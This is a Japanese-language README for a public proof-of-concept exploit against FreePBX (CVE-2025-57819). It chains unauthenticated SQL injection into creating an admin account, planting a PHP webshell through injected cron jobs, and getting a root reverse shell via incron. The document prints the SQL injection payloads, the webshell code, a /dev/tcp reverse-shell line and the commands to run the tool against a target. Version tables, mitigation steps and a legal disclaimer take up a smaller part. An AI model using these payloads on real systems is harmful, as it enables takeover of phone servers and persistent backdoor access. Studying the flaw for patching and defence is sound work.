
FreePBXの未認証SQLインジェクションであるCVE-2025-57819を悪用するPythonの概念実証コードで、管理者アカウントの作成、cronによるウェブシェルの配備、root権限への昇格を連鎖させます。
教育・セキュリティ研究目的のみ - 下記の法的通知を参照してください
FreePBXにおけるリモートコード実行を可能にする重大な未認証SQLインジェクション脆弱性、CVE-2025-57819のエクスプロイト実証コードです。このPoCは、セキュリティ研究および許可されたテスト目的のみに、公式パッチのリリース後に公開されています。
FreePBXバージョン15.x、16.x、17.x(パッチ適用バージョン未満)は、endpointモジュールのAJAXハンドラにおける未認証SQLインジェクションに対して脆弱です。この脆弱性チェーンにより以下が可能になります:
| CVE ID | CVE-2025-57819 |
| 種類 | 未認証SQLインジェクション(エラーベース) |
| CVSS | 9.8 / 10.0(Critical) |
| 影響を受けるバージョン | FreePBX 15 < 15.0.66、16 < 16.0.89、17 < 17.0.3 |
| 修正済みバージョン | 15.0.66、16.0.89、17.0.3+ |
| CISA KEV | はい(2025年8月29日) |
GET /admin/ajax.php?brand=<PAYLOAD>
エンドポイントモジュールのAJAXハンドラにあるbrandパラメータは、検証なしでユーザー入力を受け付けるため、エラーベースのSQLインジェクションが発生します。
EXTRACTVALUE()によるエラーベースの抽出を使用してデータベース名を漏洩させ、SQLiを検証します:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusers に新しい管理者ユーザーを挿入します:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
有効な管理者認証情報を用いて、エクスプロイトはFreePBXに認証し、認証済みセッションを確立します。セッションCookieは保存され、以降のすべての認証済みリクエストで使用されます。
asterisk.cron_jobs にwebshellコマンドを注入します:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX の cron ランナーはコマンドを asterisk ユーザーとして実行し、PHP ウェブシェルをドロップします。
PHP ウェブシェルは /var/www/html/shell.php に配置されます:
<?php system($_GET['cmd']); ?>
Exploit はアクティベーションまで webshell をポーリングし、asterisk ユーザー(uid=999)として RCE を達成します。
ターゲットに incron が設定されている場合:
/var/spool/asterisk/incron/ にトリガーファイルを作成incrond(root として実行中)がファイル作成を検知/usr/bin/sysadmin_manager を呼び出すsysadmin_manager が GPG 署名を検証し、fwconsole-commands フックにディスパッチ/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1結果: リバースリスナー上で root シェル(incron が利用可能な場合)。
brand パラメータに入力検証がないasterisk.cron_jobs テーブルが asterisk としてコマンドを実行git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| バージョン | ステータス |
|---|---|
| 15.0.0 - 15.0.65 | 脆弱 |
| 15.0.66+ | 修正済み |
| 16.0.0 - 16.0.88 | 脆弱 |
| 16.0.89+ | 修正済み |
| 17.0.0 - 17.0.2 | 脆弱 |
| 17.0.3+ | 修正済み |
即時対応:
/admin/ajax.php へのアクセスを制限するsystemctl disable incrond恒久対応: 修正済みバージョンへアップグレードする: 15.0.66+、16.0.89+、または 17.0.3+
⚠️ 免責事項
この概念実証(PoC)は、認可されたセキュリティテストおよび教育目的に限り提供されます。作者は、本ツールの悪用やそれによって生じた損害について一切の責任を負いません。
以下を遵守する必要があります:
禁止される用途:
責任の免除: 作者は以下について責任を負いません:
この脆弱性は:
JazzTheRabbit
MIT License